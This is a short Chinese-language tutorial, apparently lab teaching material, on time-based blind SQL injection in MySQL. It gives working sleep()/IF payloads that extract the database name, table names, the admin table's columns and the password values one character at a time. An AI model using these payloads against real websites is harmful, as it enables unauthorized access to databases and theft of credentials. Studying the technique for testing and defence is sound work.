延时盲注原理
无法利用页面显示结果判断SQL注入是否执行成功,此时可以利用 SQL语句执行的延时 判断SQL是 否执行成功。
只要可以执行延时,那么就可以利用该注入技术。
sql时间类型的盲注本质是利用插入的SQL语句执行造成时间延迟,插入的SQL语句中包含延时执行的语 句,当数据库执行该语句时,会延时执行。
Mysql中常用的延时执行函数
sleep(num)
benchmark(num,function) benchmark(100000000,rand())
Mysql中常用的判断结构
IF(condition, when_true, when_false)
例如:
select * from admin where id = 1 and (if(length(database())>0,sleep(3),1));
延时盲注实验示例讲解:
延时注入也时基于逐个字符猜解的技术。
1、数据库长度
id=1 and if(length(database())=7,sleep(3),null)
根据返回时间确定数据库长度为7。
2、数据库名称
id=1 and if((substr(database(),1,1)='w'),sleep(3),null)
根据延时判断 数据库名称的第一个字符为w. 猜解七次获取数据库名称为 web_sql。
3、数据表名称
id=1 and if((substr((select table_name from information_schema.tables where table_schema=database()
limit 0,1),1,1)='a'),sleep(3),null)
获取第一张数据表的字符为 a ,以此猜解字符获取第一张数据表名称为 admin,第二张数据表为 person。
4、字段名称
id=1 and if((substr((select column_name from information_schema.columns where table_name='admin' limit 0,1),1,1)='i'),sleep(3),null)
获取admin数据表的第一个字段的第一个字符为 i ,以此查出所有字段 id 、username、password。
5、数据内容
id=1 and if((substr((select password from admin limit 0,1),1,1)='f'),sleep(3),null)
获取第一条记录的password字段 字符为f,以此获取字段内容。